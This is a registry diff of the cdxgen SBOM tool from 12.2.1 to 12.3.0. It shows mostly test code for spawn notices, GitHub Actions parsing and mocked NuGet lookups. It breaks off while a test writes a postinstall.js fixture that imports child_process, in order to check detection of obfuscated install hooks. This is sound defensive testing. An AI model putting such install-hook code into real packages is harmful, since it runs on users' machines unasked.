@cyclonedx/cdxgen 12.2.1 → 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +239 -90
- package/bin/audit.js +191 -0
- package/bin/cdxgen.js +513 -167
- package/bin/convert.js +99 -0
- package/bin/evinse.js +23 -0
- package/bin/repl.js +339 -8
- package/bin/sign.js +8 -0
- package/bin/validate.js +8 -0
- package/bin/verify.js +8 -0
- package/data/container-knowledge-index.json +125 -0
- package/data/gtfobins-index.json +6296 -0
- package/data/lolbas-index.json +150 -0
- package/data/queries-darwin.json +63 -3
- package/data/queries-win.json +45 -3
- package/data/queries.json +74 -2
- package/data/rules/chrome-extensions.yaml +240 -0
- package/data/rules/ci-permissions.yaml +478 -18
- package/data/rules/container-risk.yaml +270 -0
- package/data/rules/obom-runtime.yaml +891 -0
- package/data/rules/package-integrity.yaml +49 -0
- package/data/spdx-export.schema.json +6794 -0
- package/data/spdx-model-v3.0.1.jsonld +15999 -0
- package/lib/audit/index.js +1924 -0
- package/lib/audit/index.poku.js +1488 -0
- package/lib/audit/progress.js +137 -0
- package/lib/audit/progress.poku.js +188 -0
- package/lib/audit/reporters.js +618 -0
- package/lib/audit/scoring.js +310 -0
- package/lib/audit/scoring.poku.js +341 -0
- package/lib/audit/targets.js +260 -0
- package/lib/audit/targets.poku.js +331 -0
- package/lib/cli/index.js +154 -11
- package/lib/cli/index.poku.js +251 -0
- package/lib/helpers/analyzer.js +446 -2
- package/lib/helpers/analyzer.poku.js +72 -1
- package/lib/helpers/annotationFormatter.js +49 -0
- package/lib/helpers/annotationFormatter.poku.js +44 -0
- package/lib/helpers/bomUtils.js +36 -0
- package/lib/helpers/bomUtils.poku.js +51 -0
- package/lib/helpers/caxa.js +2 -2
- package/lib/helpers/chromextutils.js +1153 -0
- package/lib/helpers/chromextutils.poku.js +493 -0
- package/lib/helpers/ciParsers/githubActions.js +1632 -45
- package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
- package/lib/helpers/containerRisk.js +186 -0
- package/lib/helpers/containerRisk.poku.js +52 -0
- package/lib/helpers/display.js +241 -59
- package/lib/helpers/display.poku.js +162 -2
- package/lib/helpers/exportUtils.js +123 -0
- package/lib/helpers/exportUtils.poku.js +60 -0
- package/lib/helpers/formulationParsers.js +69 -0
- package/lib/helpers/formulationParsers.poku.js +44 -0
- package/lib/helpers/gtfobins.js +189 -0
- package/lib/helpers/gtfobins.poku.js +49 -0
- package/lib/helpers/lolbas.js +267 -0
- package/lib/helpers/lolbas.poku.js +39 -0
- package/lib/helpers/osqueryTransform.js +84 -0
- package/lib/helpers/osqueryTransform.poku.js +49 -0
- package/lib/helpers/provenanceUtils.js +193 -0
- package/lib/helpers/provenanceUtils.poku.js +145 -0
- package/lib/helpers/pylockutils.js +281 -0
- package/lib/helpers/pylockutils.poku.js +48 -0
- package/lib/helpers/registryProvenance.js +793 -0
- package/lib/helpers/registryProvenance.poku.js +452 -0
- package/lib/helpers/source.js +1267 -0
- package/lib/helpers/source.poku.js +771 -0
- package/lib/helpers/spdxUtils.js +97 -0
- package/lib/helpers/spdxUtils.poku.js +70 -0
- package/lib/helpers/unicodeScan.js +147 -0
- package/lib/helpers/unicodeScan.poku.js +45 -0
- package/lib/helpers/utils.js +700 -128
- package/lib/helpers/utils.poku.js +877 -80
- package/lib/managers/binary.js +29 -5
- package/lib/managers/docker.js +179 -52
- package/lib/managers/docker.poku.js +327 -28
- package/lib/managers/oci.js +107 -23
- package/lib/managers/oci.poku.js +132 -0
- package/lib/server/openapi.yaml +17 -0
- package/lib/server/server.js +225 -336
- package/lib/server/server.poku.js +16 -10
- package/lib/stages/postgen/annotator.js +7 -0
- package/lib/stages/postgen/annotator.poku.js +40 -0
- package/lib/stages/postgen/auditBom.js +19 -3
- package/lib/stages/postgen/auditBom.poku.js +1729 -67
- package/lib/stages/postgen/postgen.js +40 -0
- package/lib/stages/postgen/postgen.poku.js +47 -0
- package/lib/stages/postgen/ruleEngine.js +80 -2
- package/lib/stages/postgen/spdxConverter.js +796 -0
- package/lib/stages/postgen/spdxConverter.poku.js +341 -0
- package/lib/validator/bomValidator.js +232 -0
- package/lib/validator/bomValidator.poku.js +70 -0
- package/lib/validator/complianceRules.js +70 -7
- package/lib/validator/complianceRules.poku.js +30 -0
- package/lib/validator/reporters/annotations.js +2 -2
- package/lib/validator/reporters/console.js +11 -0
- package/lib/validator/reporters.poku.js +13 -0
- package/package.json +10 -7
- package/types/bin/audit.d.ts +3 -0
- package/types/bin/audit.d.ts.map +1 -0
- package/types/bin/convert.d.ts +3 -0
- package/types/bin/convert.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +115 -0
- package/types/lib/audit/index.d.ts.map +1 -0
- package/types/lib/audit/progress.d.ts +27 -0
- package/types/lib/audit/progress.d.ts.map +1 -0
- package/types/lib/audit/reporters.d.ts +35 -0
- package/types/lib/audit/reporters.d.ts.map +1 -0
- package/types/lib/audit/scoring.d.ts +35 -0
- package/types/lib/audit/scoring.d.ts.map +1 -0
- package/types/lib/audit/targets.d.ts +63 -0
- package/types/lib/audit/targets.d.ts.map +1 -0
- package/types/lib/cli/index.d.ts +8 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +13 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/annotationFormatter.d.ts +23 -0
- package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
- package/types/lib/helpers/bomUtils.d.ts +5 -0
- package/types/lib/helpers/bomUtils.d.ts.map +1 -0
- package/types/lib/helpers/chromextutils.d.ts +97 -0
- package/types/lib/helpers/chromextutils.d.ts.map +1 -0
- package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/containerRisk.d.ts +17 -0
- package/types/lib/helpers/containerRisk.d.ts.map +1 -0
- package/types/lib/helpers/display.d.ts +4 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/exportUtils.d.ts +40 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -0
- package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +17 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts +16 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -0
- package/types/lib/helpers/osqueryTransform.d.ts +7 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
- package/types/lib/helpers/provenanceUtils.d.ts +90 -0
- package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
- package/types/lib/helpers/pylockutils.d.ts +51 -0
- package/types/lib/helpers/pylockutils.d.ts.map +1 -0
- package/types/lib/helpers/registryProvenance.d.ts +17 -0
- package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
- package/types/lib/helpers/source.d.ts +141 -0
- package/types/lib/helpers/source.d.ts.map +1 -0
- package/types/lib/helpers/spdxUtils.d.ts +2 -0
- package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
- package/types/lib/helpers/unicodeScan.d.ts +46 -0
- package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts +29 -11
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/managers/oci.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +0 -36
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
- package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
- package/types/lib/validator/bomValidator.d.ts +1 -0
- package/types/lib/validator/bomValidator.d.ts.map +1 -1
- package/types/lib/validator/complianceRules.d.ts.map +1 -1
- package/types/lib/validator/reporters/console.d.ts.map +1 -1
- package/types/bin/dependencies.d.ts +0 -3
- package/types/bin/dependencies.d.ts.map +0 -1
- package/types/bin/licenses.d.ts +0 -3
- package/types/bin/licenses.d.ts.map +0 -1
|
@@ -1,9 +1,21 @@
|
|
|
1
1
|
import { Buffer } from "node:buffer";
|
|
2
|
-
import {
|
|
2
|
+
import {
|
|
3
|
+
existsSync,
|
|
4
|
+
mkdirSync,
|
|
5
|
+
mkdtempSync,
|
|
6
|
+
readFileSync,
|
|
7
|
+
rmSync,
|
|
8
|
+
unlinkSync,
|
|
9
|
+
writeFileSync,
|
|
10
|
+
} from "node:fs";
|
|
11
|
+
import { tmpdir } from "node:os";
|
|
3
12
|
import path from "node:path";
|
|
13
|
+
import process from "node:process";
|
|
4
14
|
|
|
15
|
+
import esmock from "esmock";
|
|
5
16
|
import { PackageURL } from "packageurl-js";
|
|
6
17
|
import { assert, describe, it, test } from "poku";
|
|
18
|
+
import sinon from "sinon";
|
|
7
19
|
import { parse } from "ssri";
|
|
8
20
|
import { parse as loadYaml } from "yaml";
|
|
9
21
|
|
|
@@ -11,6 +23,7 @@ import { validateRefs } from "../validator/bomValidator.js";
|
|
|
11
23
|
import {
|
|
12
24
|
buildObjectForCocoaPod,
|
|
13
25
|
buildObjectForGradleModule,
|
|
26
|
+
convertOSQueryResults,
|
|
14
27
|
encodeForPurl,
|
|
15
28
|
findLicenseId,
|
|
16
29
|
findPnpmPackagePath,
|
|
@@ -18,11 +31,11 @@ import {
|
|
|
18
31
|
getDartMetadata,
|
|
19
32
|
getLicenses,
|
|
20
33
|
getMvnMetadata,
|
|
21
|
-
getNugetMetadata,
|
|
22
34
|
getPropertyGroupTextNodes,
|
|
23
35
|
getPyMetadata,
|
|
24
36
|
guessPypiMatchingVersion,
|
|
25
37
|
hasAnyProjectType,
|
|
38
|
+
inferJarGroupFromManifest,
|
|
26
39
|
isPackageManagerAllowed,
|
|
27
40
|
isPartialTree,
|
|
28
41
|
isValidIriReference,
|
|
@@ -71,6 +84,7 @@ import {
|
|
|
71
84
|
parseGradleProjects,
|
|
72
85
|
parseGradleProperties,
|
|
73
86
|
parseHelmYamlData,
|
|
87
|
+
parseJarManifest,
|
|
74
88
|
parseKVDep,
|
|
75
89
|
parseLeinDep,
|
|
76
90
|
parseLeiningenData,
|
|
@@ -93,6 +107,7 @@ import {
|
|
|
93
107
|
parsePodfileLock,
|
|
94
108
|
parsePodfileTargets,
|
|
95
109
|
parsePom,
|
|
110
|
+
parsePomProperties,
|
|
96
111
|
parsePrivadoFile,
|
|
97
112
|
parsePubLockData,
|
|
98
113
|
parsePubYamlData,
|
|
@@ -110,11 +125,21 @@ import {
|
|
|
110
125
|
pnpmMetadata,
|
|
111
126
|
purlFromUrlString,
|
|
112
127
|
readZipEntry,
|
|
128
|
+
safeSpawnSync,
|
|
113
129
|
splitOutputByGradleProjects,
|
|
114
130
|
toGemModuleNames,
|
|
131
|
+
trimJarGroupSuffix,
|
|
115
132
|
yarnLockToIdentMap,
|
|
116
133
|
} from "./utils.js";
|
|
117
134
|
|
|
135
|
+
const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
|
|
136
|
+
|
|
137
|
+
function readJarMetadataFixture(...segments) {
|
|
138
|
+
return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
|
|
139
|
+
encoding: "utf-8",
|
|
140
|
+
});
|
|
141
|
+
}
|
|
142
|
+
|
|
118
143
|
it("SSRI test", () => {
|
|
119
144
|
// gopkg.lock hash
|
|
120
145
|
let ss = parse(
|
|
@@ -198,6 +223,81 @@ it("finds license id from name", () => {
|
|
|
198
223
|
);
|
|
199
224
|
});
|
|
200
225
|
|
|
226
|
+
it("safeSpawnSync() resets ANSI color state for host pip warnings", () => {
|
|
227
|
+
const originalConsoleWarn = console.warn;
|
|
228
|
+
const originalContainer = process.env.CDXGEN_IN_CONTAINER;
|
|
229
|
+
const originalNoticeCache = globalThis.__cdxgenNoticeCache;
|
|
230
|
+
const warnings = [];
|
|
231
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
232
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
233
|
+
console.warn = (message) => {
|
|
234
|
+
warnings.push(message);
|
|
235
|
+
};
|
|
236
|
+
|
|
237
|
+
try {
|
|
238
|
+
safeSpawnSync("pip-cdxgen-test", ["install"], {});
|
|
239
|
+
assert.strictEqual(warnings.length, 1);
|
|
240
|
+
assert.ok(
|
|
241
|
+
warnings[0].startsWith(
|
|
242
|
+
"\x1b[1;35mNotice: pip/uv install invoked without '--only-binary'.",
|
|
243
|
+
),
|
|
244
|
+
);
|
|
245
|
+
assert.ok(warnings[0].endsWith("\x1b[0m"));
|
|
246
|
+
assert.ok(!warnings[0].endsWith("\x1b"));
|
|
247
|
+
} finally {
|
|
248
|
+
console.warn = originalConsoleWarn;
|
|
249
|
+
if (originalContainer === undefined) {
|
|
250
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
251
|
+
} else {
|
|
252
|
+
process.env.CDXGEN_IN_CONTAINER = originalContainer;
|
|
253
|
+
}
|
|
254
|
+
if (originalNoticeCache === undefined) {
|
|
255
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
256
|
+
} else {
|
|
257
|
+
globalThis.__cdxgenNoticeCache = originalNoticeCache;
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
});
|
|
261
|
+
|
|
262
|
+
it("safeSpawnSync() logs container python notices to stdout", () => {
|
|
263
|
+
const originalConsoleLog = console.log;
|
|
264
|
+
const originalConsoleWarn = console.warn;
|
|
265
|
+
const originalContainer = process.env.CDXGEN_IN_CONTAINER;
|
|
266
|
+
const originalNoticeCache = globalThis.__cdxgenNoticeCache;
|
|
267
|
+
const logs = [];
|
|
268
|
+
const warnings = [];
|
|
269
|
+
process.env.CDXGEN_IN_CONTAINER = "true";
|
|
270
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
271
|
+
console.log = (message) => {
|
|
272
|
+
logs.push(message);
|
|
273
|
+
};
|
|
274
|
+
console.warn = (message) => {
|
|
275
|
+
warnings.push(message);
|
|
276
|
+
};
|
|
277
|
+
|
|
278
|
+
try {
|
|
279
|
+
safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
|
|
280
|
+
safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
|
|
281
|
+
assert.deepStrictEqual(logs, [
|
|
282
|
+
"Running python command without '-S' argument.",
|
|
283
|
+
]);
|
|
284
|
+
assert.deepStrictEqual(warnings, []);
|
|
285
|
+
} finally {
|
|
286
|
+
console.log = originalConsoleLog;
|
|
287
|
+
console.warn = originalConsoleWarn;
|
|
288
|
+
if (originalContainer === undefined) {
|
|
289
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
290
|
+
} else {
|
|
291
|
+
process.env.CDXGEN_IN_CONTAINER = originalContainer;
|
|
292
|
+
}
|
|
293
|
+
if (originalNoticeCache === undefined) {
|
|
294
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
295
|
+
} else {
|
|
296
|
+
globalThis.__cdxgenNoticeCache = originalNoticeCache;
|
|
297
|
+
}
|
|
298
|
+
}
|
|
299
|
+
});
|
|
300
|
+
|
|
201
301
|
it("splits parallel gradle properties output correctly", () => {
|
|
202
302
|
const parallelGradlePropertiesOutput = readFileSync(
|
|
203
303
|
"./test/gradle-prop-parallel.out",
|
|
@@ -2597,77 +2697,78 @@ it("parse github actions workflow data", () => {
|
|
|
2597
2697
|
assert.deepStrictEqual(parseGitHubWorkflowData(null), []);
|
|
2598
2698
|
let dep_list = parseGitHubWorkflowData("./.github/workflows/nodejs.yml");
|
|
2599
2699
|
assert.deepStrictEqual(dep_list.length, 13);
|
|
2600
|
-
|
|
2601
|
-
|
|
2602
|
-
|
|
2603
|
-
|
|
2604
|
-
|
|
2605
|
-
|
|
2606
|
-
version
|
|
2607
|
-
|
|
2608
|
-
|
|
2609
|
-
|
|
2610
|
-
|
|
2611
|
-
|
|
2612
|
-
|
|
2613
|
-
|
|
2614
|
-
|
|
2615
|
-
|
|
2616
|
-
|
|
2617
|
-
|
|
2618
|
-
|
|
2619
|
-
|
|
2620
|
-
|
|
2621
|
-
|
|
2622
|
-
|
|
2623
|
-
|
|
2624
|
-
|
|
2625
|
-
|
|
2626
|
-
|
|
2627
|
-
|
|
2628
|
-
|
|
2629
|
-
|
|
2630
|
-
|
|
2631
|
-
|
|
2632
|
-
|
|
2633
|
-
|
|
2634
|
-
|
|
2635
|
-
|
|
2636
|
-
|
|
2637
|
-
|
|
2638
|
-
|
|
2639
|
-
|
|
2640
|
-
|
|
2641
|
-
|
|
2642
|
-
|
|
2643
|
-
|
|
2644
|
-
|
|
2645
|
-
|
|
2646
|
-
|
|
2647
|
-
|
|
2648
|
-
|
|
2649
|
-
|
|
2650
|
-
|
|
2651
|
-
|
|
2652
|
-
|
|
2653
|
-
|
|
2654
|
-
|
|
2655
|
-
|
|
2656
|
-
|
|
2657
|
-
|
|
2658
|
-
|
|
2659
|
-
|
|
2660
|
-
|
|
2661
|
-
|
|
2662
|
-
|
|
2663
|
-
|
|
2664
|
-
|
|
2665
|
-
|
|
2666
|
-
|
|
2667
|
-
|
|
2668
|
-
|
|
2669
|
-
|
|
2670
|
-
|
|
2700
|
+
const firstAction = dep_list[0];
|
|
2701
|
+
assert.deepStrictEqual(firstAction["bom-ref"], firstAction.purl);
|
|
2702
|
+
assert.deepStrictEqual(firstAction.type, "application");
|
|
2703
|
+
assert.deepStrictEqual(firstAction.group, "actions");
|
|
2704
|
+
assert.deepStrictEqual(firstAction.name, "checkout");
|
|
2705
|
+
assert.deepStrictEqual(
|
|
2706
|
+
firstAction.version,
|
|
2707
|
+
"de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2708
|
+
);
|
|
2709
|
+
assert.deepStrictEqual(
|
|
2710
|
+
firstAction.purl,
|
|
2711
|
+
"pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2712
|
+
);
|
|
2713
|
+
assert.deepStrictEqual(firstAction.scope, "required");
|
|
2714
|
+
assert.deepStrictEqual(firstAction.evidence?.identity?.[0]?.field, "purl");
|
|
2715
|
+
assert.deepStrictEqual(
|
|
2716
|
+
firstAction.evidence?.identity?.[0]?.methods?.[0]?.value,
|
|
2717
|
+
"./.github/workflows/nodejs.yml",
|
|
2718
|
+
);
|
|
2719
|
+
const firstActionProps = Object.fromEntries(
|
|
2720
|
+
firstAction.properties.map((prop) => [prop.name, prop.value]),
|
|
2721
|
+
);
|
|
2722
|
+
assert.deepStrictEqual(
|
|
2723
|
+
firstActionProps.SrcFile,
|
|
2724
|
+
"./.github/workflows/nodejs.yml",
|
|
2725
|
+
);
|
|
2726
|
+
assert.deepStrictEqual(
|
|
2727
|
+
firstActionProps["cdx:github:workflow:name"],
|
|
2728
|
+
"Node CI",
|
|
2729
|
+
);
|
|
2730
|
+
assert.deepStrictEqual(
|
|
2731
|
+
firstActionProps["cdx:github:workflow:file"],
|
|
2732
|
+
"./.github/workflows/nodejs.yml",
|
|
2733
|
+
);
|
|
2734
|
+
assert.deepStrictEqual(
|
|
2735
|
+
firstActionProps["cdx:github:job:name"],
|
|
2736
|
+
"read-node-versions",
|
|
2737
|
+
);
|
|
2738
|
+
assert.deepStrictEqual(
|
|
2739
|
+
firstActionProps["cdx:github:job:runner"],
|
|
2740
|
+
"ubuntu-latest",
|
|
2741
|
+
);
|
|
2742
|
+
assert.deepStrictEqual(
|
|
2743
|
+
firstActionProps["cdx:github:action:uses"],
|
|
2744
|
+
"actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2745
|
+
);
|
|
2746
|
+
assert.deepStrictEqual(
|
|
2747
|
+
firstActionProps["cdx:github:action:versionPinningType"],
|
|
2748
|
+
"sha",
|
|
2749
|
+
);
|
|
2750
|
+
assert.deepStrictEqual(
|
|
2751
|
+
firstActionProps["cdx:github:action:isShaPinned"],
|
|
2752
|
+
"true",
|
|
2753
|
+
);
|
|
2754
|
+
assert.deepStrictEqual(firstActionProps["cdx:actions:isOfficial"], "true");
|
|
2755
|
+
assert.deepStrictEqual(firstActionProps["cdx:actions:isVerified"], "false");
|
|
2756
|
+
assert.deepStrictEqual(
|
|
2757
|
+
firstActionProps["cdx:github:checkout:persistCredentials"],
|
|
2758
|
+
"false",
|
|
2759
|
+
);
|
|
2760
|
+
assert.deepStrictEqual(
|
|
2761
|
+
firstActionProps["cdx:github:workflow:triggers"],
|
|
2762
|
+
"pull_request,push,workflow_dispatch",
|
|
2763
|
+
);
|
|
2764
|
+
assert.deepStrictEqual(
|
|
2765
|
+
firstActionProps["cdx:github:workflow:hasPullRequestTrigger"],
|
|
2766
|
+
"true",
|
|
2767
|
+
);
|
|
2768
|
+
assert.deepStrictEqual(
|
|
2769
|
+
firstActionProps["cdx:github:workflow:hasWorkflowDispatchTrigger"],
|
|
2770
|
+
"true",
|
|
2771
|
+
);
|
|
2671
2772
|
dep_list = parseGitHubWorkflowData("./test/data/github-actions-tj.yaml");
|
|
2672
2773
|
assert.deepStrictEqual(dep_list.length, 4);
|
|
2673
2774
|
dep_list = parseGitHubWorkflowData("./.github/workflows/repotests.yml");
|
|
@@ -3334,6 +3435,10 @@ it("get nget metadata", async () => {
|
|
|
3334
3435
|
],
|
|
3335
3436
|
ref: "pkg:nuget/Serilog@3.0.1",
|
|
3336
3437
|
},
|
|
3438
|
+
{
|
|
3439
|
+
dependsOn: ["pkg:nuget/Serilog@3.0.1"],
|
|
3440
|
+
ref: "pkg:nuget/Sample@latest",
|
|
3441
|
+
},
|
|
3337
3442
|
];
|
|
3338
3443
|
const pkg_list = [
|
|
3339
3444
|
{
|
|
@@ -3348,9 +3453,133 @@ it("get nget metadata", async () => {
|
|
|
3348
3453
|
version: "3.0.1",
|
|
3349
3454
|
"bom-ref": "pkg:nuget/Serilog@3.0.1",
|
|
3350
3455
|
},
|
|
3456
|
+
{
|
|
3457
|
+
group: "",
|
|
3458
|
+
name: "Sample",
|
|
3459
|
+
version: "latest",
|
|
3460
|
+
"bom-ref": "pkg:nuget/Sample@latest",
|
|
3461
|
+
},
|
|
3351
3462
|
];
|
|
3352
|
-
const
|
|
3353
|
-
|
|
3463
|
+
const responses = new Map([
|
|
3464
|
+
[
|
|
3465
|
+
"https://api.nuget.org/v3/index.json",
|
|
3466
|
+
{
|
|
3467
|
+
body: {
|
|
3468
|
+
resources: [
|
|
3469
|
+
{
|
|
3470
|
+
"@type": "RegistrationsBaseUrl/3.6.0",
|
|
3471
|
+
"@id": "https://api.nuget.org/v3/registration3/",
|
|
3472
|
+
},
|
|
3473
|
+
],
|
|
3474
|
+
},
|
|
3475
|
+
},
|
|
3476
|
+
],
|
|
3477
|
+
[
|
|
3478
|
+
"https://api.nuget.org/v3/registration3/castle.core/index.json",
|
|
3479
|
+
{
|
|
3480
|
+
body: {
|
|
3481
|
+
items: [
|
|
3482
|
+
{
|
|
3483
|
+
lower: "4.0.0",
|
|
3484
|
+
upper: "4.4.0",
|
|
3485
|
+
items: [
|
|
3486
|
+
{
|
|
3487
|
+
catalogEntry: {
|
|
3488
|
+
version: "4.4.0",
|
|
3489
|
+
description:
|
|
3490
|
+
"Castle Core, including DynamicProxy, Logging Abstractions and DictionaryAdapter",
|
|
3491
|
+
authors: "Castle Project Contributors",
|
|
3492
|
+
licenseExpression: "Apache-2.0",
|
|
3493
|
+
tags: [
|
|
3494
|
+
"Castle",
|
|
3495
|
+
"DynamicProxy",
|
|
3496
|
+
"dynamic",
|
|
3497
|
+
"proxy",
|
|
3498
|
+
"dynamicproxy2",
|
|
3499
|
+
"dictionaryadapter",
|
|
3500
|
+
"emailsender",
|
|
3501
|
+
],
|
|
3502
|
+
projectUrl: "http://www.castleproject.org/",
|
|
3503
|
+
},
|
|
3504
|
+
},
|
|
3505
|
+
],
|
|
3506
|
+
},
|
|
3507
|
+
],
|
|
3508
|
+
},
|
|
3509
|
+
},
|
|
3510
|
+
],
|
|
3511
|
+
[
|
|
3512
|
+
"https://api.nuget.org/v3/registration3/serilog/index.json",
|
|
3513
|
+
{
|
|
3514
|
+
body: {
|
|
3515
|
+
items: [
|
|
3516
|
+
{
|
|
3517
|
+
lower: "3.0.0",
|
|
3518
|
+
upper: "3.0.1",
|
|
3519
|
+
items: [
|
|
3520
|
+
{
|
|
3521
|
+
catalogEntry: {
|
|
3522
|
+
version: "3.0.1",
|
|
3523
|
+
description:
|
|
3524
|
+
"Simple .NET logging with fully-structured events",
|
|
3525
|
+
authors: "Serilog Contributors",
|
|
3526
|
+
licenseExpression: "Apache-2.0",
|
|
3527
|
+
tags: ["serilog", "logging", "semantic", "structured"],
|
|
3528
|
+
projectUrl: "https://serilog.net/",
|
|
3529
|
+
},
|
|
3530
|
+
},
|
|
3531
|
+
],
|
|
3532
|
+
},
|
|
3533
|
+
],
|
|
3534
|
+
},
|
|
3535
|
+
},
|
|
3536
|
+
],
|
|
3537
|
+
[
|
|
3538
|
+
"https://api.nuget.org/v3/registration3/sample/index.json",
|
|
3539
|
+
{
|
|
3540
|
+
body: {
|
|
3541
|
+
items: [
|
|
3542
|
+
{
|
|
3543
|
+
lower: "1.0.0",
|
|
3544
|
+
upper: "1.2.3",
|
|
3545
|
+
items: [
|
|
3546
|
+
{
|
|
3547
|
+
catalogEntry: {
|
|
3548
|
+
version: "1.2.3",
|
|
3549
|
+
description: "Sample package for metadata tests",
|
|
3550
|
+
authors: "Sample Maintainers",
|
|
3551
|
+
licenseExpression: "MIT",
|
|
3552
|
+
tags: ["Sample", "Demo"],
|
|
3553
|
+
projectUrl: "https://example.invalid/sample",
|
|
3554
|
+
},
|
|
3555
|
+
},
|
|
3556
|
+
],
|
|
3557
|
+
},
|
|
3558
|
+
],
|
|
3559
|
+
},
|
|
3560
|
+
},
|
|
3561
|
+
],
|
|
3562
|
+
]);
|
|
3563
|
+
const agentGet = sinon.stub().callsFake(async (url, options) => {
|
|
3564
|
+
assert.strictEqual(options?.responseType, "json");
|
|
3565
|
+
const response = responses.get(String(url));
|
|
3566
|
+
assert.ok(response, `unexpected NuGet request: ${url}`);
|
|
3567
|
+
return response;
|
|
3568
|
+
});
|
|
3569
|
+
const { getNugetMetadata: mockedGetNugetMetadata } = await esmock(
|
|
3570
|
+
"./utils.js",
|
|
3571
|
+
{
|
|
3572
|
+
got: {
|
|
3573
|
+
default: {
|
|
3574
|
+
extend: sinon.stub().returns({ get: agentGet }),
|
|
3575
|
+
},
|
|
3576
|
+
},
|
|
3577
|
+
},
|
|
3578
|
+
);
|
|
3579
|
+
const { pkgList, dependencies } = await mockedGetNugetMetadata(
|
|
3580
|
+
pkg_list,
|
|
3581
|
+
dep_list,
|
|
3582
|
+
);
|
|
3354
3583
|
assert.deepStrictEqual(pkgList, [
|
|
3355
3584
|
{
|
|
3356
3585
|
author: "Castle Project Contributors",
|
|
@@ -3393,8 +3622,24 @@ it("get nget metadata", async () => {
|
|
|
3393
3622
|
tags: ["serilog", "logging", "semantic", "structured"],
|
|
3394
3623
|
version: "3.0.1",
|
|
3395
3624
|
},
|
|
3625
|
+
{
|
|
3626
|
+
author: "Sample Maintainers",
|
|
3627
|
+
"bom-ref": "pkg:nuget/Sample@1.2.3",
|
|
3628
|
+
description: "Sample package for metadata tests",
|
|
3629
|
+
group: "",
|
|
3630
|
+
homepage: {
|
|
3631
|
+
url: "https://www.nuget.org/packages/Sample/1.2.3/",
|
|
3632
|
+
},
|
|
3633
|
+
license: "MIT",
|
|
3634
|
+
name: "Sample",
|
|
3635
|
+
repository: {
|
|
3636
|
+
url: "https://example.invalid/sample",
|
|
3637
|
+
},
|
|
3638
|
+
tags: ["sample", "demo"],
|
|
3639
|
+
version: "1.2.3",
|
|
3640
|
+
},
|
|
3396
3641
|
]);
|
|
3397
|
-
assert.deepStrictEqual(pkgList.length,
|
|
3642
|
+
assert.deepStrictEqual(pkgList.length, 3);
|
|
3398
3643
|
assert.deepStrictEqual(dependencies, [
|
|
3399
3644
|
{
|
|
3400
3645
|
dependsOn: [
|
|
@@ -3432,6 +3677,10 @@ it("get nget metadata", async () => {
|
|
|
3432
3677
|
],
|
|
3433
3678
|
ref: "pkg:nuget/Serilog@3.0.1",
|
|
3434
3679
|
},
|
|
3680
|
+
{
|
|
3681
|
+
dependsOn: ["pkg:nuget/Serilog@3.0.1"],
|
|
3682
|
+
ref: "pkg:nuget/Sample@1.2.3",
|
|
3683
|
+
},
|
|
3435
3684
|
]);
|
|
3436
3685
|
}, 240000);
|
|
3437
3686
|
|
|
@@ -3643,6 +3892,325 @@ it("parsePkgJson", async () => {
|
|
|
3643
3892
|
assert.deepStrictEqual(pkgList.length, 1);
|
|
3644
3893
|
});
|
|
3645
3894
|
|
|
3895
|
+
it("parsePkgJson emits obfuscated lifecycle-hook indicators", async () => {
|
|
3896
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pkgjson-"));
|
|
3897
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
3898
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
|
|
3899
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
3900
|
+
writeFileSync(
|
|
3901
|
+
installScriptFile,
|
|
3902
|
+
[
|
|
3903
|
+
"import cp from 'node:child_process';",
|
|
3904
|
+
